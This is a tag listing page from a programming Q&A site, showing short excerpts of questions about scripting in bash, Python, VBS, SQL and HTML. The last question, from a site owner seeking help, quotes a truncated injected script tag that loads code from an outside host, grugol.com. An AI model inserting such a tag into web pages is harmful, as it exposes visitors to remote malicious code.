Questions tagged as 'script'

1
answer

Call ASP.NET application via HTML page

I have an application that I can not change the source code that generates purchase orders. For each request an html with the request data is stored. I want to implement this html with the following: When opening the html, embed a simple page in...
asked by 18.06.2015 / 16:51
1
answer

How to restart or continue the script

I've used imacro on these bug sites, and the process works perfectly. but it is not 100%. I need a code to put at the end of the script process that makes it look up the word on the site, if I find it start the process again, otherwise, wait 360...
asked by 21.09.2016 / 23:56
1
answer

Is it possible to generate a script from a table, from an SQL command?

I would like to generate a script to create a table, from a SQL command so I could build a program that would be able to clone tables. I'm using SQL Server 2008 R2 and need to implement a table cloning routine, within an application written i...
asked by 13.10.2014 / 14:42
2
answers

Find and Replace Various Word Within a File

I want to develop a script that will replace any words in file . I know what I can do with the command (s) below: $ tr 'ABC' '123' < arquivo.txt > novo-arquivo.txt or $ sed "s/ABC/123/g" arquivo.txt > novo-...
asked by 05.10.2016 / 06:48
2
answers

How do I make a program written in python open with two clicks made an executable?

An example: #!/usr/bin/python3 # coding: utf-8 # window.py from gi.repository import Gtk class App(Gtk.Window): def __init__(self): super(Gtk.Window, self).__init__(title='Hello World') self.set_position(Gtk.WindowPositi...
asked by 19.01.2016 / 20:03
1
answer

Change script to display video in Html5

How do I make this script show a video in HTML5 instead of in Flash Player? My script looks like this: In this script it injects the video link into the flash player, I would like to replace that with an HTML5 of type <video class="" wi...
asked by 15.09.2015 / 20:05
1
answer

How to use acute accent inside a string in a bash script?

I use the script below to download audios from google translator for use in a personal program that tracks codes and quantities from my stock. The problem is that the acute "oh" accent of the word code is bringing a faulty audio, as if it were e...
asked by 31.03.2015 / 13:50
1
answer

Create txt with default printer name in VBS

Good morning, I have the following script. Set oShell = CreateObject("WScript.Shell") strValue = "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Device" strPrinter = oShell.RegRead(strValue) strPrinter = Split(strPrinter, ",")(0)...
asked by 20.12.2016 / 12:16
1
answer

Do not let user have access to data of a script

I have a script that was generated in python and calls functions in R . At first it was developed for internal use, but now they are planning on releasing it for customer use. But they do not want users to have access to the calc...
asked by 17.11.2015 / 17:14
1
answer

Malicious code on all pages [closed]

Hello, I went to access cPanel and saw through the browser that some script was being loaded from another site. When viewing the source code, I came across the following code: <script src='http://grugol.com/prog/landing.php?app=MjAtODktODQt...
asked by 23.11.2015 / 13:45